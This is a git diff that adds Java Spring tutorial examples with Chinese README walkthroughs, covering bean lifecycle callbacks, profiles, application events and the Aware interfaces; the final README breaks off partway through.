diff --git a/springBoot/src/main/java/cn/hncu/p2_3_2BeanLifecycle/BeanWayService.java b/springBoot/src/main/java/cn/hncu/p2_3_2BeanLifecycle/BeanWayService.java
new file mode 100644
index 0000000..d8128b9
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_3_2BeanLifecycle/BeanWayService.java
@@ -0,0 +1,23 @@
+package cn.hncu.p2_3_2BeanLifecycle;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/14.
+ * Time: 上午 11:19.
+ * Explain:使用@Bean形式的Bean
+ */
+public class BeanWayService {
+ public BeanWayService() {
+ super();
+ System.out.println("初始化构造函数-BeanWayService:"+this.getClass());
+ }
+
+ public void init(){
+ System.out.println("BeanWayService-init方法");
+ }
+
+ public void destroy(){
+ System.out.println("BeanWayService-destroy方法");
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p2_3_2BeanLifecycle/JSR250WayService.java b/springBoot/src/main/java/cn/hncu/p2_3_2BeanLifecycle/JSR250WayService.java
new file mode 100644
index 0000000..50c2fc0
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_3_2BeanLifecycle/JSR250WayService.java
@@ -0,0 +1,28 @@
+package cn.hncu.p2_3_2BeanLifecycle;
+
+import javax.annotation.PostConstruct;
+import javax.annotation.PreDestroy;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/14.
+ * Time: 上午 11:23.
+ * Explain:使用JSR250形式的Bean
+ */
+public class JSR250WayService {
+ public JSR250WayService() {
+ super();
+ System.out.println("初始化构造函数-JSR250WayService:"+this.getClass());
+ }
+
+ @PostConstruct//@PostConstruct这个注解表明该方法在构造函数执行之后执行
+ public void init(){
+ System.out.println("jsr250-init方法");
+ }
+
+ @PreDestroy//这个注解表明该方法在Bean销毁之前执行
+ public void destroy(){
+ System.out.println("jsr250-destroy方法");
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p2_3_2BeanLifecycle/Main.java b/springBoot/src/main/java/cn/hncu/p2_3_2BeanLifecycle/Main.java
new file mode 100644
index 0000000..62b464f
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_3_2BeanLifecycle/Main.java
@@ -0,0 +1,21 @@
+package cn.hncu.p2_3_2BeanLifecycle;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/14.
+ * Time: 上午 11:33.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(PrePostConfig.class);
+
+ BeanWayService beanWayService = context.getBean(BeanWayService.class);
+ JSR250WayService jsr250WayService = context.getBean(JSR250WayService.class);
+
+ context.close();
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p2_3_2BeanLifecycle/PrePostConfig.java b/springBoot/src/main/java/cn/hncu/p2_3_2BeanLifecycle/PrePostConfig.java
new file mode 100644
index 0000000..b2e1338
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_3_2BeanLifecycle/PrePostConfig.java
@@ -0,0 +1,32 @@
+package cn.hncu.p2_3_2BeanLifecycle;
+
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/14.
+ * Time: 上午 11:29.
+ * Explain:配置类
+ */
+@Configuration
+@ComponentScan("cn.hncu.p2_3_2BeanLifecycle")
+public class PrePostConfig {
+
+ //为BeanWayService准备的配置方法
+ //initMethod和destroyMethod指定BeanWayService类的init和destroy方法在构造之后、Bean销毁之前执行
+ @Bean(initMethod = "init",destroyMethod = "destroy")
+ BeanWayService beanWayService(){
+ return new BeanWayService();
+ }
+
+ //为JSR250WayService准备的配置方法
+ @Bean
+ JSR250WayService jsr250WayService(){
+ return new JSR250WayService();
+ }
+
+
+}
diff --git a/springBoot/src/main/java/cn/hncu/p2_3_2BeanLifecycle/README.md b/springBoot/src/main/java/cn/hncu/p2_3_2BeanLifecycle/README.md
new file mode 100644
index 0000000..19d2d9b
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_3_2BeanLifecycle/README.md
@@ -0,0 +1,161 @@
+
+#分析
+
+在我们实际开发的时候,经常会遇到在Bean使用之前或者之后做些必要的操作,Spring对Bean的生命周期的操作提供了支持。
+
+有如下2种方式:
+1、Java配置方式:使用@Bean的initMethod和destroyMethod(相当于xml配置的init-method和destroy-method)
+
+2、注解方式:
+利用JSR-250的@PostConstruct和@PreDestroy
+
+友情提示:
+进行本示例的演示,需要先配置好Maven和Spring哦、
+见:【Spring】基于IntelliJ IDEA搭建Maven
+
+
+
+#示例
+
+##增加JSR250支持
+
+```
+
+ javax.annotation
+ jsr250-api
+ 1.0
+
+```
+
+##使用@Bean形式的Bean
+
+```
+package cn.hncu.p2_3_2BeanLifecycle;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/14.
+ * Time: 上午 11:19.
+ * Explain:使用@Bean形式的Bean
+ */
+public class BeanWayService {
+ public BeanWayService() {
+ super();
+ System.out.println("初始化构造函数-BeanWayService:"+this.getClass());
+ }
+
+ public void init(){
+ System.out.println("BeanWayService-init方法");
+ }
+
+ public void destroy(){
+ System.out.println("BeanWayService-destroy方法");
+ }
+}
+
+```
+
+##使用JSR250形式的Bean
+
+```
+package cn.hncu.p2_3_2BeanLifecycle;
+
+import javax.annotation.PostConstruct;
+import javax.annotation.PreDestroy;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/14.
+ * Time: 上午 11:23.
+ * Explain:使用JSR250形式的Bean
+ */
+public class JSR250WayService {
+ public JSR250WayService() {
+ super();
+ System.out.println("初始化构造函数-JSR250WayService:"+this.getClass());
+ }
+
+ @PostConstruct//@PostConstruct这个注解表明该方法在构造函数执行之后执行
+ public void init(){
+ System.out.println("jsr250-init方法");
+ }
+
+ @PreDestroy//这个注解表明该方法在Bean销毁之前执行
+ public void destroy(){
+ System.out.println("jsr250-destroy方法");
+ }
+}
+
+```
+
+##配置类
+
+```
+package cn.hncu.p2_3_2BeanLifecycle;
+
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/14.
+ * Time: 上午 11:29.
+ * Explain:配置类
+ */
+@Configuration
+@ComponentScan("cn.hncu.p2_3_2BeanLifecycle")
+public class PrePostConfig {
+
+ //为BeanWayService准备的配置方法
+ //initMethod和destroyMethod指定BeanWayService类的init和destroy方法在构造之后、Bean销毁之前执行
+ @Bean(initMethod = "init",destroyMethod = "destroy")
+ BeanWayService beanWayService(){
+ return new BeanWayService();
+ }
+
+ //为JSR250WayService准备的配置方法
+ @Bean
+ JSR250WayService jsr250WayService(){
+ return new JSR250WayService();
+ }
+
+
+}
+
+```
+
+##运行类
+
+```
+package cn.hncu.p2_3_2BeanLifecycle;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/14.
+ * Time: 上午 11:33.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(PrePostConfig.class);
+
+ BeanWayService beanWayService = context.getBean(BeanWayService.class);
+ JSR250WayService jsr250WayService = context.getBean(JSR250WayService.class);
+
+ context.close();
+ }
+}
+
+```
+
+#运行结果
+
+
+
diff --git a/springBoot/src/main/java/cn/hncu/p2_4_2Profile/DemoBean.java b/springBoot/src/main/java/cn/hncu/p2_4_2Profile/DemoBean.java
new file mode 100644
index 0000000..351f5b8
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_4_2Profile/DemoBean.java
@@ -0,0 +1,23 @@
+package cn.hncu.p2_4_2Profile;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/14.
+ * Time: 下午 8:37.
+ * Explain:示例Bean
+ */
+public class DemoBean {
+ public String content;
+
+ public DemoBean(String content) {
+ super();
+ this.content = content;
+ }
+ public String getContent(){
+ return content;
+ }
+ public void setContent(String content) {
+ this.content = content;
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p2_4_2Profile/Main.java b/springBoot/src/main/java/cn/hncu/p2_4_2Profile/Main.java
new file mode 100644
index 0000000..c6e50ef
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_4_2Profile/Main.java
@@ -0,0 +1,26 @@
+package cn.hncu.p2_4_2Profile;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/14.
+ * Time: 下午 8:51.
+ * Explain:运行类
+ */
+public class Main {
+
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext();
+ context.getEnvironment().setActiveProfiles("dev");//先将活动的Proofile设置为prod
+ context.register(ProfileConfig.class);//后置注册Bean的配置类,不然会报Bean未定义的错误
+ context.refresh();//刷新容器
+
+ DemoBean demoBean = context.getBean(DemoBean.class);
+
+ System.out.println(demoBean.getContent());
+
+ context.close();
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p2_4_2Profile/ProfileConfig.java b/springBoot/src/main/java/cn/hncu/p2_4_2Profile/ProfileConfig.java
new file mode 100644
index 0000000..6b45a1a
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_4_2Profile/ProfileConfig.java
@@ -0,0 +1,28 @@
+package cn.hncu.p2_4_2Profile;
+
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.context.annotation.Profile;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/14.
+ * Time: 下午 8:41.
+ * Explain:Profile配置
+ */
+@Configuration
+public class ProfileConfig {
+
+ @Bean
+ @Profile("dev")//Profile为dev时实例化devDemoBean
+ public DemoBean devDemoBean(){
+ return new DemoBean("from development profile");
+ }
+
+ @Bean
+ @Profile("prod")//Profile为prod时实例化prodDemoBean
+ public DemoBean prodDemoBean(){
+ return new DemoBean("from production profile");
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p2_4_2Profile/README.md b/springBoot/src/main/java/cn/hncu/p2_4_2Profile/README.md
new file mode 100644
index 0000000..8904827
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_4_2Profile/README.md
@@ -0,0 +1,128 @@
+#分析
+对于Profile先做一个简单的介绍:
+单讲profile就是一组配置,不同profile提供不同组合的配置,程序运行时可以选择使用哪些profile来适应环境。
+
+也就是Profile为在不同环境下使用不同的配置提供了支持(开发环境下的配置和生产环境下的配置肯定是不同的,例如:数据库的配置)
+
+
+Spring 为我们提供了大量的激活 profile 的方法,可以通过代码来激活,也可以通过系统环境变量、JVM参数、servlet上下文参数来定义 spring.profiles.active 参数激活 profile,下面说下3种方法:
+1、通过设定Environment的ActiveProfiles来设定当前context需要使用的配置环境。在开发中使用@profile注解类或者方法,达到在不同情况下选择实例化不同的Bean。
+2、通过设定jvm的spring.profile.active参数来设置配置环境。
+3、Web项目设置在Service的context parameter中。
+
+
+进行本示例的演示,需要先配置好Maven和Spring哦、
+见:
+【Spring】基于IntelliJ IDEA搭建Maven
+
+在这里的示例只演示第一种方式的示例哦。
+
+#示例
+
+##示例Bean
+
+```
+package cn.hncu.p2_4_2Profile;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/14.
+ * Time: 下午 8:37.
+ * Explain:示例Bean
+ */
+public class DemoBean {
+ public String content;
+
+ public DemoBean(String content) {
+ super();
+ this.content = content;
+ }
+ public String getContent(){
+ return content;
+ }
+ public void setContent(String content) {
+ this.content = content;
+ }
+}
+
+```
+
+##Profile配置
+
+```
+package cn.hncu.p2_4_2Profile;
+
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.context.annotation.Profile;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/14.
+ * Time: 下午 8:41.
+ * Explain:Profile配置
+ */
+@Configuration
+public class ProfileConfig {
+
+ @Bean
+ @Profile("dev")//Profile为dev时实例化devDemoBean
+ public DemoBean devDemoBean(){
+ return new DemoBean("from development profile");
+ }
+
+ @Bean
+ @Profile("prod")//Profile为prod时实例化prodDemoBean
+ public DemoBean prodDemoBean(){
+ return new DemoBean("from production profile");
+ }
+}
+
+```
+
+##运行类
+
+```
+package cn.hncu.p2_4_2Profile;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/14.
+ * Time: 下午 8:51.
+ * Explain:运行类
+ */
+public class Main {
+
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext();
+ context.getEnvironment().setActiveProfiles("prod");//先将活动的Proofile设置为prod
+ context.register(ProfileConfig.class);//后置注册Bean的配置类,不然会报Bean未定义的错误
+ context.refresh();//刷新容器
+
+ DemoBean demoBean = context.getBean(DemoBean.class);
+
+ System.out.println(demoBean.getContent());
+
+ context.close();
+ }
+}
+
+```
+##运行结果
+
+
+
+现在来对Main类做一下改动,将
+context.getEnvironment().setActiveProfiles("prod")
+修改为
+context.getEnvironment().setActiveProfiles("dev")
+
+
+结果如下:
+
+
diff --git a/springBoot/src/main/java/cn/hncu/p2_5_2ApplicationEvent/DemoEvent.java b/springBoot/src/main/java/cn/hncu/p2_5_2ApplicationEvent/DemoEvent.java
new file mode 100644
index 0000000..4f703ba
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_5_2ApplicationEvent/DemoEvent.java
@@ -0,0 +1,29 @@
+package cn.hncu.p2_5_2ApplicationEvent;
+
+import org.springframework.context.ApplicationEvent;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/15.
+ * Time: 下午 8:39.
+ * Explain:自定义事件
+ */
+public class DemoEvent extends ApplicationEvent{
+ private static final long serialVersionUID = 1L;
+ private String msg;
+
+ public DemoEvent(Object source,String msg) {
+ super(source);
+ this.msg=msg;
+ System.out.println(this.getClass()+",构造方法");
+ }
+
+ public String getMsg() {
+ return msg;
+ }
+
+ public void setMsg(String msg) {
+ this.msg = msg;
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p2_5_2ApplicationEvent/DemoListener.java b/springBoot/src/main/java/cn/hncu/p2_5_2ApplicationEvent/DemoListener.java
new file mode 100644
index 0000000..ce7ce35
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_5_2ApplicationEvent/DemoListener.java
@@ -0,0 +1,20 @@
+package cn.hncu.p2_5_2ApplicationEvent;
+
+import org.springframework.context.ApplicationListener;
+import org.springframework.stereotype.Component;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/15.
+ * Time: 下午 8:50.
+ * Explain:事件监听器
+ */
+@Component
+public class DemoListener implements ApplicationListener {//实现ApplicationListener接口,并指定监听的事件类型
+ @Override
+ public void onApplicationEvent(DemoEvent demoEvent) {//使用onApplicationEvent方法对消息进行接受处理
+ String msg = demoEvent.getMsg();
+ System.out.println(this.getClass()+"监听到了bean-demoPublisher发布的消息:"+msg);
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p2_5_2ApplicationEvent/DemoPublisher.java b/springBoot/src/main/java/cn/hncu/p2_5_2ApplicationEvent/DemoPublisher.java
new file mode 100644
index 0000000..5bbb09b
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_5_2ApplicationEvent/DemoPublisher.java
@@ -0,0 +1,26 @@
+package cn.hncu.p2_5_2ApplicationEvent;
+
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.context.ApplicationContext;
+import org.springframework.stereotype.Component;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/15.
+ * Time: 下午 10:39.
+ * Explain:事件发布类
+ */
+@Component
+public class DemoPublisher {
+ @Autowired
+ ApplicationContext applicationContext;//注入ApplicationContext用来发布事件
+
+ public void publish(String msg){
+ DemoEvent demoEvent = new DemoEvent(this,msg);
+ applicationContext.publishEvent(demoEvent);//在这里的时候,会去运行DemoListener中的onApplicationEvent方法
+ System.out.println("消息:"+demoEvent.getMsg());
+ //使用ApplicationContext的publishEvent方法来发布
+ }
+
+}
diff --git a/springBoot/src/main/java/cn/hncu/p2_5_2ApplicationEvent/EventConfig.java b/springBoot/src/main/java/cn/hncu/p2_5_2ApplicationEvent/EventConfig.java
new file mode 100644
index 0000000..f3ec120
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_5_2ApplicationEvent/EventConfig.java
@@ -0,0 +1,16 @@
+package cn.hncu.p2_5_2ApplicationEvent;
+
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/15.
+ * Time: 下午 10:46.
+ * Explain:配置类
+ */
+@Configuration
+@ComponentScan("cn.hncu.p2_5_2ApplicationEvent")
+public class EventConfig {
+}
diff --git a/springBoot/src/main/java/cn/hncu/p2_5_2ApplicationEvent/Main.java b/springBoot/src/main/java/cn/hncu/p2_5_2ApplicationEvent/Main.java
new file mode 100644
index 0000000..ebbf018
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_5_2ApplicationEvent/Main.java
@@ -0,0 +1,19 @@
+package cn.hncu.p2_5_2ApplicationEvent;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/15.
+ * Time: 下午 10:47.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(EventConfig.class);
+ DemoPublisher demoPublisher = context.getBean(DemoPublisher.class);
+ demoPublisher.publish("hello 你好...");
+ context.close();
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p2_5_2ApplicationEvent/README.md b/springBoot/src/main/java/cn/hncu/p2_5_2ApplicationEvent/README.md
new file mode 100644
index 0000000..6891822
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_5_2ApplicationEvent/README.md
@@ -0,0 +1,162 @@
+#分析
+
+Spring的事件(Application Event)为Bean与Bean之间的消息通信提供了支持。
+当一个Bean处理完一个任务之后,希望另一个Bean知道并能做出相应的处理,这时我们就需要让另外一个Bean监听当前Bean所发送的事件。
+
+Spring的事件需要遵循如下流程:
+1、自定义事件,集成ApplicationEvent。
+2、定义事件监听器,实现ApplicationListener
+3、使用容器发布容器
+
+进行本示例的演示,需要先配置好Maven和Spring哦、
+见:
+【Spring】基于IntelliJ IDEA搭建Maven
+
+下面直接上示例吧。
+
+#示例
+
+##自定义事件
+
+```
+package cn.hncu.p2_5_2ApplicationEvent;
+
+import org.springframework.context.ApplicationEvent;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/15.
+ * Time: 下午 8:39.
+ * Explain:自定义事件
+ */
+public class DemoEvent extends ApplicationEvent{
+ private static final long serialVersionUID = 1L;
+ private String msg;
+
+ public DemoEvent(Object source,String msg) {
+ super(source);
+ this.msg=msg;
+ System.out.println(this.getClass()+",构造方法");
+ }
+
+ public String getMsg() {
+ return msg;
+ }
+
+ public void setMsg(String msg) {
+ this.msg = msg;
+ }
+}
+
+```
+
+##事件监听器
+
+```
+package cn.hncu.p2_5_2ApplicationEvent;
+
+import org.springframework.context.ApplicationListener;
+import org.springframework.stereotype.Component;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/15.
+ * Time: 下午 8:50.
+ * Explain:事件监听器
+ */
+@Component
+public class DemoListener implements ApplicationListener {//实现ApplicationListener接口,并指定监听的事件类型
+ @Override
+ public void onApplicationEvent(DemoEvent demoEvent) {//使用onApplicationEvent方法对消息进行接受处理
+ String msg = demoEvent.getMsg();
+ System.out.println(this.getClass()+"监听到了bean-demoPublisher发布的消息:"+msg);
+ }
+}
+
+```
+
+##事件发布类
+
+```
+package cn.hncu.p2_5_2ApplicationEvent;
+
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.context.ApplicationContext;
+import org.springframework.stereotype.Component;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/15.
+ * Time: 下午 10:39.
+ * Explain:事件发布类
+ */
+@Component
+public class DemoPublisher {
+ @Autowired
+ ApplicationContext applicationContext;//注入ApplicationContext用来发布事件
+
+ public void publish(String msg){
+ DemoEvent demoEvent = new DemoEvent(this,msg);
+ applicationContext.publishEvent(demoEvent);//在这里的时候,会去运行DemoListener中的onApplicationEvent方法
+ System.out.println("消息:"+demoEvent.getMsg());
+ //使用ApplicationContext的publishEvent方法来发布
+ }
+
+}
+
+```
+
+##配置类
+
+```
+package cn.hncu.p2_5_2ApplicationEvent;
+
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/15.
+ * Time: 下午 10:46.
+ * Explain:配置类
+ */
+@Configuration
+@ComponentScan("cn.hncu.p2_5_2ApplicationEvent")
+public class EventConfig {
+}
+
+```
+
+##运行类
+
+```
+package cn.hncu.p2_5_2ApplicationEvent;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/15.
+ * Time: 下午 10:47.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(EventConfig.class);
+ DemoPublisher demoPublisher = context.getBean(DemoPublisher.class);
+ demoPublisher.publish("hello 你好...");
+ context.close();
+ }
+}
+
+```
+
+#运行结果
+
+
+
diff --git a/springBoot/src/main/java/cn/hncu/p3/p1_SpringAware/AwareConfig.java b/springBoot/src/main/java/cn/hncu/p3/p1_SpringAware/AwareConfig.java
new file mode 100644
index 0000000..7bc2035
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p1_SpringAware/AwareConfig.java
@@ -0,0 +1,16 @@
+package cn.hncu.p3.p1_SpringAware;
+
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/16.
+ * Time: 下午 6:48.
+ * Explain:配置类
+ */
+@Configuration
+@ComponentScan("cn.hncu.p3.p1_SpringAware")
+public class AwareConfig {
+}
diff --git a/springBoot/src/main/java/cn/hncu/p3/p1_SpringAware/AwareService.java b/springBoot/src/main/java/cn/hncu/p3/p1_SpringAware/AwareService.java
new file mode 100644
index 0000000..403685f
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p1_SpringAware/AwareService.java
@@ -0,0 +1,50 @@
+package cn.hncu.p3.p1_SpringAware;
+
+import org.apache.commons.io.IOUtils;
+import org.springframework.beans.factory.BeanNameAware;
+import org.springframework.context.MessageSource;
+import org.springframework.context.MessageSourceAware;
+import org.springframework.context.ResourceLoaderAware;
+import org.springframework.core.io.Resource;
+import org.springframework.core.io.ResourceLoader;
+import org.springframework.stereotype.Service;
+
+import java.io.IOException;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/16.
+ * Time: 下午 6:37.
+ * Explain:Spring Aware演示Bean
+ */
+@Service
+public class AwareService implements BeanNameAware,ResourceLoaderAware {
+ //实现BeanNameAware,ResourceLoaderAware接口,获得Bean名称和资源加载的服务
+
+ private String beanName;
+ private ResourceLoader loader;
+
+ @Override
+ public void setResourceLoader(ResourceLoader resourceLoader) {//实现ResourceLoaderAware需要重写setResourceLoader方法
+ this.loader = resourceLoader;
+ }
+
+ @Override
+ public void setBeanName(String beanName) {//实现BeanNameAware需要重写setBeanName方法
+ this.beanName = beanName;
+ }
+
+ public void outputResult(){
+ System.out.println("Bean的名称为:"+beanName);
+ Resource resource = loader.getResource("cn/hncu/p3/p1_SpringAware/test.txt");
+
+ try {
+ System.out.println("ResourceLoader加载的文件内容为: "+ IOUtils.toString(resource.getInputStream()));
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+
+ }
+
+}
diff --git a/springBoot/src/main/java/cn/hncu/p3/p1_SpringAware/Main.java b/springBoot/src/main/java/cn/hncu/p3/p1_SpringAware/Main.java
new file mode 100644
index 0000000..f8f6f72
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p1_SpringAware/Main.java
@@ -0,0 +1,22 @@
+package cn.hncu.p3.p1_SpringAware;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/16.
+ * Time: 下午 6:49.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(AwareConfig.class);
+
+ AwareService awareService = context.getBean(AwareService.class);
+ awareService.outputResult();
+
+ context.close();
+ }
+
+}
diff --git a/springBoot/src/main/java/cn/hncu/p3/p1_SpringAware/README.md b/springBoot/src/main/java/cn/hncu/p3/p1_SpringAware/README.md
new file mode 100644
index 0000000..0bd0115
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p1_SpringAware/README.md
@@ -0,0 +1,148 @@
+
+#分析
+
+Spring的依赖注入的最大亮点就是你所有的Bean对Spring容器的存在是没有意识的。
+
+也就是说,你可以把你的容器换成别的容器,如Google Guice,这时Bean之间的耦合度很低。
+
+但是在实际项目中,基本上不可避免的要用到Spring容器本身的功能资源,这时你的Bean必须要意识到Spring容器的存在,才能调用Spring所提供的资源,这就是所谓的Spring Aware。
+
+其实Spring Aware本来就是Spring设计用来框架内部使用的,如果使用了Spring Aware,你的Bean就会和Spring框架耦合。也就不能换容器了。
+
+现在把Spring提供的Aware接口列出来:
+
+| Spring提供的Aware接口 ||
+| ------------- |:-------------:|
+| BeanNameAware | 获得容器中Bean的名称 |
+| BeanFactoryAware | 获得当前bean factory,这样可以调用容器的服务 |
+| ApplicationContextAware* | 当前的application context,这样可以调用容器的服务 |
+| MessageSourceAware | 获得message source,这样可以获得文本信息 |
+| ApplicationEventPublisherAware | 应用实践发布器,可以发布事件 |
+| ResourceLoaderAware | 获得资源加载器,可以获得外部资源文件 |
+
+Spring Aware的目的是为了让Bean获得Spring容器的服务。
+
+因为ApplicationContext接口集成了MessageSource接口、ApplicationEventPublisher接口和ResourceLoader接口,所以Bean继承ApplicationContextAware可以获得Spring容器的所有服务,但是,原则上我们还是用到什么接口了,就实现什么接口。
+
+在这里的示例,简单的演示BeanNameAware接口和ResourceLoaderAware接口。
+
+一样的,进行本示例的演示,需要先配置好Maven和Spring哦、
+见:
+【Spring】基于IntelliJ IDEA搭建Maven
+
+#示例
+
+因为要演示外部资源,所以先准备好一个外部文件资源,
+我就建在java文件目录下,test.txt文件,内容:
+```
+测试文件的内容
+```
+
+##Spring Aware 演示Bean
+
+```
+package cn.hncu.p3.p1_SpringAware;
+
+import org.apache.commons.io.IOUtils;
+import org.springframework.beans.factory.BeanNameAware;
+import org.springframework.context.ResourceLoaderAware;
+import org.springframework.core.io.Resource;
+import org.springframework.core.io.ResourceLoader;
+import org.springframework.stereotype.Service;
+
+import java.io.IOException;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/16.
+ * Time: 下午 6:37.
+ * Explain:Spring Aware演示Bean
+ */
+@Service
+public class AwareService implements BeanNameAware,ResourceLoaderAware {
+ //实现BeanNameAware,ResourceLoaderAware接口,获得Bean名称和资源加载的服务
+
+ private String beanName;
+ private ResourceLoader loader;
+
+ @Override
+ public void setResourceLoader(ResourceLoader resourceLoader) {//实现ResourceLoaderAware需要重写setResourceLoader方法
+ this.loader = resourceLoader;
+ }
+
+ @Override
+ public void setBeanName(String beanName) {//实现BeanNameAware需要重写setBeanName方法
+ this.beanName = beanName;
+ }
+
+ public void outputResult(){
+ System.out.println("Bean的名称为:"+beanName);
+ Resource resource = loader.getResource("cn/hncu/p3/p1_SpringAware/test.txt");
+
+ try {
+ System.out.println("ResourceLoader加载的文件内容为: "+ IOUtils.toString(resource.getInputStream()));
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+
+ }
+
+}
+
+```
+
+##配置类
+
+```
+package cn.hncu.p3.p1_SpringAware;
+
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/16.
+ * Time: 下午 6:48.
+ * Explain:配置类
+ */
+@Configuration
+@ComponentScan("cn.hncu.p3.p1_SpringAware")
+public class AwareConfig {
+}
+
+```
+
+##运行类
+
+```
+package cn.hncu.p3.p1_SpringAware;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
